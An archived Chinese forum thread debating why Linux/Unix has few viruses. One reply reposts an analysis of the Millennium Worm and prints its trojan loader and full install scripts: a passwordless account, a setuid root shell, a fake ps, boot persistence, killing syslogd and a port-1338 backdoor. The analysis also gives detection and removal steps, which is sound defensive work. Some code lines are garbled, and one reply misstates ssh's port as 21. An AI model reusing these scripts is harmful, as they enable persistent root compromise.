当前位置:  技术问答>linux和unix

Linux/Unix下似乎很少见到甚至听说病毒,谁了解,近来谈谈好吗? --阿菜

    来源: 互联网  发布时间:2014-12-12

    本文导语:  Linux/Unix下似乎很少见到甚至听说病毒, 更多的破坏主要就是后门一类的攻击, 冯诺伊曼机的特性(数据和命令均在内存的同一区域内)决定了病毒的滋生环境 这样一来,无论何种OS,只要跑在上面,都应该有病毒...

Linux/Unix下似乎很少见到甚至听说病毒,

更多的破坏主要就是后门一类的攻击,

冯诺伊曼机的特性(数据和命令均在内存的同一区域内)决定了病毒的滋生环境

这样一来,无论何种OS,只要跑在上面,都应该有病毒侵染的危险。

我不知道自己的观点是否正确。

如果观点成立,
那么linux/Unix病毒少见(其实我还没听说过,可能比较寡闻^_^)的原因是什么呢?

请进来的朋友们各抒己见。          ----阿菜

|
(1)Linux下的杀毒软件,呵呵,早就有了.只不过你们不知道罢了.
   网址:www.rav.com.cn
(2)Linux下面的确有病毒,但她往往是跟着一些软件带进来的.
(3)Linux好多是用于服务器,根本就不用她上网,所以病毒传不过来.
(4)Linux给每一个用户分配一个账户,即使这个用户目录里面有病毒,但
   也不会传染给别人!
(5)现在的Linux服务器只开了ssh(21),httpd(80)端口,根本不好攻击.
(6)XWin的图形处理方式跟windows不一样,她的目的是提供给多个用户共同使用.

    这是我的一点点浅见,写的乱七八糟希望各位老兄不要见笑!

                                                waterstream

|
linux也不一定比windows好到哪里去。

我觉得是因为linux的难度确实比较大一些,使用linux的人比较少。都是操作系统,两者从根本上说原理都是一样的,只是在实现的细节上不同。如果用linux和windows的人一样多(现在linux的易用性越做越好,达到这个目标还是很可能的),我相信linux下的病毒也会多起来的。

|
现在的病毒大多是通过“后门/漏洞”来攻击的,因为一般的途径已经被
杀毒软件封死了,所以unix系统的漏洞比较少,所以病毒少,但是window
是以易用性为第一的,漏洞多,所以相应的病毒就多。

|
我个人认为这完全是由于linux的使用者少的原因.为什么win2000的漏洞那么多,除了漏洞的确不少以外,也因为去研究它的人多,而且人们讨厌微软,希望看到微软的东西漏洞百出,甚至一个小毛病经过炒作也成了"漏洞",有可能这样的小毛病在linux下也有,人们就不管了.觉得比起微软是可以原谅的.

|
1)unix/linux的源代码是公开的(unix也有公开的源代码!)大部分的漏洞都被黑客们找出并修补了。
2)windows用易上手,漏洞多多,

|
这是引自最后出处:http://www.20cn.net/ 作者:不祥 
一、简介 

千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。现在发现的worm是针对x86的linux中imap4v10.X,Qualcomm popper, bind , rpc.mountd 这些存在明显漏洞的服务进攻的。但它也做了一件好事——修补了安全漏洞…… 

二、技术分析 

我们最早发现的蠕虫据称是在ADMmountd2的远程漏洞利用程序中的(这个程序是对linux的rpc.mountd服务进行攻击并可获取最高权限——这里不详述),但ADM组织否认曾经发布过带有该特洛伊程序的代码,并将其归类于假冒ADM作品,可以参见ftp://adm.freelsd.net/ADM/FAKES/ maintained by ndubee@df.ru]. 

这个木马是放在ADMmountd的所谓更新版本中,并在措词中表明这一版本的利用程序更为实用,但其实隐蔽的代码就躲在ADMgetip.c中,ADM在其站点限制了对这一工具的下载,所以这里我把它提供给大家,仅仅是用于教育目的——这一木马于1999-8-15被发现。 

你可以在http://focus.silversand.net/newsite/tool/adm_fake.c下载ADMgetip-TROJAN-VERSION.c。 

1、原型 

该代码段中有一段mworm.tgz的uuencode代码,当运行该程序时,它会被展开于目录/var/tmp/tmp,并且执行一个名为wormup的程序,代码段如下: 

//Trojan Code from ADMgetip.c 

FILE *fp=fopen("/var/tmp/tmp","w"); //打开文件 
if(getuid()!=0) { fprintf(stderr,"operation not permittedn"); exit(0); } 
//检查uid是否为root 
fprintf(fp,"begin-base64 644 mworm.tgz 
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk 
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA 
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++ 
... [ large uuencoded mworm.tgz here ] 
emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f 
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8 
ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA 
====n"); //这是一段很长的uuecoded过的代码 
system("( cd /var/tmp;uudecode /dev/null 2>/dev/null &"); //解码并执行wormup程序 

注意如果权限并非root的话,是无法继续的,该mworm.tgz展开后有如下文件: 

Directory of /var/tmp 

-rw-r--r-- 1 root root 51564 Aug 17 22:21 mworm.tgz 
-rwxr-xr-x 1 root root 8647 Dec 31 1999 Hnamed* 
-rwxr-xr-x 1 root root 5173 Dec 31 1999 Hnamed.c* 
-rwxr-xr-x 1 root root 477 Dec 31 1999 IP* 
-rwxr-xr-x 1 root root 1728 Dec 31 1999 README-ADMINS* 
-rwxr-xr-x 1 root root 5749 Dec 31 1999 bd* 
-rwxr-xr-x 1 root root 1340 Dec 31 1999 bd.c* 
-rwxr-xr-x 1 root root 0 Dec 31 1999 cmd* 
-rwxr-xr-x 1 root root 5292 Dec 31 1999 ftpscan* 
-rwxr-xr-x 1 root root 911 Dec 31 1999 ftpscan.c* 
-rwxr-xr-x 1 root root 8750 Dec 31 1999 ftpx* 
-rwxr-xr-x 1 root root 5108 Dec 31 1999 ftpx.c* 
-rwxr-xr-x 1 root root 2398 Dec 31 1999 getip.c* 
-rwxr-xr-x 1 root root 6436 Dec 31 1999 im* 
-rwxr-xr-x 1 root root 2634 Dec 31 1999 im.c* 
-rwxr-xr-x 1 root root 151 Dec 31 1999 infect* 
-rwxr-xr-x 1 root root 1 Dec 31 1999 infected* 
-rwxr-xr-x 1 root root 2755 Dec 31 1999 ip_icmp.h* 
-rwxr-xr-x 1 root root 6175 Dec 31 1999 mount.h* 
-rwxr-xr-x 1 root root 5152 Dec 31 1999 mount.x* 
-rwxr-xr-x 1 root root 2222 Dec 31 1999 mount_clnt.c* 
-rwxr-xr-x 1 root root 3178 Dec 31 1999 mount_svc.c* 
-rwxr-xr-x 1 root root 2366 Dec 31 1999 mount_xdr.c* 
-rwxr-xr-x 1 root root 13048 Dec 31 1999 mountd* 
-rwxr-xr-x 1 root root 7723 Dec 31 1999 mountd.c* 
-rwxr-xr-x 1 root root 668 Dec 31 1999 mwd* 
-rwxr-xr-x 1 root root 561 Dec 31 1999 mwd-ftp* 
-rwxr-xr-x 1 root root 448 Dec 31 1999 mwd-imap* 
-rwxr-xr-x 1 root root 355 Dec 31 1999 mwd-mountd* 
-rwxr-xr-x 1 root root 529 Dec 31 1999 mwd-pop* 
-rwxr-xr-x 1 root root 755 Dec 31 1999 mwi* 
-rwxr-xr-x 1 root root 844 Dec 31 1999 mworm* 
-rwxr-xr-x 1 root root 4617 Dec 31 1999 mwr* 
-rwxr-xr-x 1 root root 407 Dec 31 1999 mwr.c* 
-rwxr-xr-x 1 root root 5849 Dec 31 1999 mws* 
-rwxr-xr-x 1 root root 1522 Dec 31 1999 mws.c* 
-rwxr-xr-x 1 root root 1439 Dec 31 1999 pgp* 
-rwxr-xr-x 1 root root 1226 Dec 31 1999 prepare* 
-rwxr-xr-x 1 root root 5430 Dec 31 1999 q* 
-rwxr-xr-x 1 root root 1350 Dec 31 1999 q.c* 
-rwxr-xr-x 1 root root 6785 Dec 31 1999 qp* 
-rwxr-xr-x 1 root root 2886 Dec 31 1999 qp.c* 
-rwxr-xr-x 1 root root 5680 Dec 31 1999 remotecmd* 
-rwxr-xr-x 1 root root 1834 Dec 31 1999 remotecmd.c* 
-rwxr-xr-x 1 root root 7286 Dec 31 1999 test* 
-rwxr-xr-x 1 root root 4355 Dec 31 1999 test.c* 
-rwxr-xr-x 1 root root 1037 Dec 31 1999 wormup* 


在该文件展开后,第一件事就是执行wormup代码,内容如下: 

# cat wormup 

#!/bin/sh 
# MILLENNIUM WORM SETUP SCRIPT 
# ./wormup -dist = create a new build 
# ./wormup & = install the worm (root) 
if [ x$1 = "x-dist" ] 
then 
echo "Creating Millennium Worm distribution." 
indent *.c 
rm -f *~ 
echo -n "Compiling: " 
for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test 
do 
rm -f $C 
gcc -Wall -O2 ${C}.c -o $C 
echo -n $C" " 
done 
rm -f mountd 
rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd  
>/dev/null 2>/dev/null 
echo "mountd ..done" 
echo -n "Fixing misc. file stuff... " 
printf "" > cmd 
printf "0" > infected 
chmod 755 * 
touch -t 010100002000.00 * 
echo "done." 
rm -f mworm.tgz 
tar czf mworm.tgz * 
echo "Finished. mworm.tgz recreated." 
exit 0 
fi 
if [ $UID != 0 ] ; then 
echo You need root to screw up this machine, sorry. 
exit 0 
fi 
cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh 
mkdir /tmp/.... && cp mworm.tgz /tmp/.... 
echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd 
cd /tmp/.... && tar xzvf mworm.tgz 
./mworm >/dev/null 2>/dev/null & 
echo "Millennium Worm(tm). Phear thy unix like thyself." 

这段代码做了以下几件事情 

删除并且重新编译worm.tgz里的二进制文件。 
准备通过网络感染的程序 
给cmd文件清零,以便稍候使用 
给infected文件清零,用来充当counter 
将所有文件的许可权限设为755 
将所有文件的时间戳设为2000-1-1, 00:00:00 
重新将mworm.tgz这家伙打好包放在/var/tmp中 

2、在本地机器上的行为 

当它被安装于机器中时,该蠕虫会运行wormup脚本执行下面的工作: 

建立一个没有密码的帐号mw 
拷贝一个suid的root shell到/tmp/.mwsh 
发动蠕虫 

在蠕虫发动后,会有下列情况发生: 

蠕虫会把自己加在/etc/rc.d/rc.local以及/etc/profile中将系统的IP地址发送到trax31337@hotmail.com这个email地址,通过随意地扫描并攻击网络其它主机,将自身复制到上面 

3、在网络中的行为 

任何被获得了root权限并安装了蠕虫的机器都会被激活并参与展开进攻感染行为,需要记住,该脚本有一 
个-dist的选项并没有被马上使用到,首先我们先看它做什么: 

建立一个suid的root shell/tmp/.mwsh 
在/etc/passwd中加入一个名为mw,uid为2222,密码为空的帐号 
将mworm.tgz展开到/tmp/... 
执行mworm 

#cat .mworm 

#!/bin/.mwsh 
# Millennium Worm by Anonymous 
# If you found this on your machine, but didn't download it 
# well.. you have a problem :) 
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:." 
export IP_A=`./IP` 

./prepare for your d00m mortalz 

cat /dev/null 2>/dev/null & 
mv /bin/ps /bin/.ps;echo "/bin/.ps $* grep -v ps grep -v mw  
grep -v grep" >> /bin/ps ; chmod 755 /bin/ps 
if [ -f /etc/rc.d/rc.local ] 
then 
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & "  
>> /etc/rc.d/rc.local 
else 
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & "  
>> /etc/profile 
fi 
chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh 
chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP 
chattr -ia /tmp/..../mount_*.c 
fi 

killall -q -9 syslogd 

gcc -Wall -O2 Hnamed.c -o Hnamed 
gcc -Wall -O2 mwr.c -o mwr 
gcc -Wall -O2 q.c -o q 
gcc -Wall -O2 remotecmd.c -o remotecmd 
gcc -Wall -O2 test.c -o test 
gcc -Wall -O2 bd.c -o bd 
gcc -Wall -O2 im.c -o im 
gcc -Wall -O2 qp.c -o qp 
gcc -Wall -O2 mws.c -o mws 
gcc -Wall -O2 ftpscan.c -o ftpscan 
gcc -Wall -O2 ftpx.c -o ftpx 
rpc=`which rpcgen` 
which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd 

/bin/.mwsh -c ./bd & 


不用多说了,这段脚本执行了下面的工作: 

运行了"README-ADMINS",将主机弄安全些。 
将ps用假的替换掉,以便隐藏该worm 
将自己加到系统开始时的rc文件中 
将worm的文件变为不可更改,不可删除——但root可以用chattr来改变 
杀掉syslogd 
运行bd,打开1338的root shell允许远程root以millennium密码登入 

三、删除蠕虫 

1、检测主机: 

/etc/passwd中有一个密码为空的mw帐号 
/tmp/.mwsh存在并且是一个suid的root shell 
/tmp/....夹存在并且里面有worm的一些文件 
/etc/rc.d/rc.local的文件被更改并且放入了mworm,以便自启动 
/etc/profile文件被更改 
syslogd进程莫名其妙地终止了 
mountd被停掉了 
dns服务被过滤掉 
qpop和imap被升级了;) 
/etc/hosts.deny和/etc/hosts.allow被清空 
下面的进程在跑.mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp, 
mwd-imap, mwd-pop, mwd-mountd, ps ("bd" 的后门伪装成的ps) 


2、检查网络: 

有email外发至trax31337@hotmail.com 
有名为mw的用户从ftpd服务登入或者收到mworm.tgz文件 
(这两个检测并不一定准确,因为syslogd被停了,如果有设代理的话则可能在代理的记录里可能找到) 
tcp连接到端口1338——绑定的后门 
从53端口的外发信息——可能是bind漏洞攻击 
从110端口的外发信息——可能是qpopper漏洞攻击 
从143端口的外发信息——可能是imapd漏洞攻击 
从635端口的外发信息——可能是rpc.mountd漏洞的攻击 
从23端口的外发信息——可能是worm在通过remotecmd散布 


3、预防 

升级——worm是利用系统的远程漏洞获得roo权限才能攻击的,如果升级到最新的版本,就不会存在这些特殊而且明显的漏洞了,那么也就有效地将worm阻于门外,不过要记住,任何一个攻击者都可以轻易地将这个worm稍加更改用于现在的系统,现在的漏洞,来攻击你现在的机器;),所以最的的办法只能是关注网络安全;) 

红帽子的用户可以到http://www.redhat.com/errata/获取相关信息 

4、修复 

如果已经被worm感染的话,要修复它是很容易的,你只需要: 

删除suid的root shell[/bin/rm -rf /tmp/.mwsh] 
停止运行中的worm进程[/usr/bin/killall -9 mworm] 
去除在mworm文件上的写保护标记[/usr/bin/chattr -R -ia /tmp/....] 
删除worm文件[/bin/rm -rf /tmp/....] 
将正常的ps文件拷回去[/bin/cp /bin/.ps /bin/ps]——最好重新build一个吧;) 
将mw用户从/etc/passwd中移除[/usr/sbin/userdel -r mw] 
将worm的自启动的东西从/etc/rc.d/rc.local及/etc/profile中删除 
杀掉bd的后门的进程,如果你已经删掉了worm的文件,重新启动就可以去掉它了 

如果你已经被worm所感染的话,那至少表明你的系统曾经完全地被别人拥有过,他有能力对系统做任何事,所以仅仅杀掉worm的进程,删除其文件,删除mw的用户等工作仅仅是去掉了一些公式化的东西,所以不能保证你的机器里还有些什么新奇有趣的后门或者其它东西,最好的办法——还是关注安全……

|
1. 会的人少安全度就高.
2. 正在怀胎中的东西, 产生不安全因素的能力就少.

|
世上第一只病毒是unix的.  所以linux也是有机会有病毒的问题.
只是linux/unix的保安远较windows为好, 所以较少中毒而已.

|
Unix/Linux下是有病毒的,著名的蠕虫病毒就是Linux/Unix下的。
少见的原因我认为是Unix/Linux的安全机制相对比windows要好一些。

|
想想windows98吧,无需任何密码就可以进入系统,而且可以肆无忌惮的删除文

件,这在unix中是不可想象的,安全的等级的低下是windows中病毒滋生的良好土

壤啊。

|
Linux下的杀毒软件很快就要发布拉!

|
是啊
用了这么久
我也没见过,没听过UNIX有什么病毒

|
同意阿菜的意见

    
 
 
 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 我早就听说LINUX大名就是找不到下载的地方!!!
  • 我想学Linux,听说很好玩,请大家推荐几本好书
  • 大家有谁听说过面向Linux的PlayStation平台?
  • 听说中软的linux不错,不知那有下载?
  • 听说在linux里面安装一个什么X的程序就可以运行windows的软件,不知道是什么软件
  • 想学linux,听说可以用虚拟机 ,
  • 听说安装linux要很小的空间,我在网上看到,安装linux要3张光盘啊!
  • linux 我听说可以有xp的界面
  • 听说TruboLinux10 Desktop使用的是Linux-2.6内核。在那里可以下载?定者有分!
  • 菜鸟问题:我想装WIN和LINUX双系统,听说LINUX不支持FAT32格式????
  • 在windows的命令提示符下使用linux的命令,听说安装一个软件即可?在线等。立刻给分
  • 听说有能在WIN98下运行的LINUX。在哪里下载,免费的):
  • 请问在linux下开发jsp是用什么插件?听说lomboz和wpt可以开发是吗?用哪个好?
  • 听说freebsd很强大,但我发现好像是unix的。。可我现在想学linux。。unix/linux有什么区别。。请高人指点
  • 各位Linux老大,听说么使用Redhat Linux AS版还要花钱,请问
  • 听说在linux下面不用磁盘整理,是真的吗?那它用的是什么算法啊?请教
  • 请教linux下的编程的选择:我听说有gtk+gnome的编程,也有kde里的 什么编程,到底应该选择哪个呢?好象一个是技术好一点,一个是市场占有
  • linux和windows相比空间有什么好的地方呀?听说在linux下图形界面要比windows慢?
  • 听说SAMBA能使网络间的LINUX和WINDOWS互相访问,如何使用了??
  • 听说过Magic Linux吗?
  • linux和windows相比空间有什么好的地方呀?听说在linux下图形界面要比windows慢? iis7站长之家
  • 在win分区上安装linux和独立分区安装linux有什么区别?可以同时安装吗?(两个linux系统)
  • linux哪个版本好?linux操作系统版本详细介绍及选择方案推荐
  • 在虚拟机上安装的linux上,能像真的linux系统一样开发linux程序么?
  • secureCRT下Linux终端汉字乱码解决方法
  • 我重装window后,把linux的引导区覆盖了,进不了linux怎么办?急啊,望热心的人帮助 (现在有linux的盘)
  • Linux c字符串中不可打印字符转换成16进制
  • 安装vmware软件,不用再安装linux系统,就可以模拟linux系统了,然后可以在其上学习一下LINUX下的基本操作 了?
  • Linux常用命令介绍:更改所属用户群组或档案属性
  • 红旗Linux主机可以通过127.0.0.1访问,但如何是连网的Win2000机器通过Linux的IP去访问Linux
  • linux命令大全详细分类介绍及常用linux命令文档手册下载


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3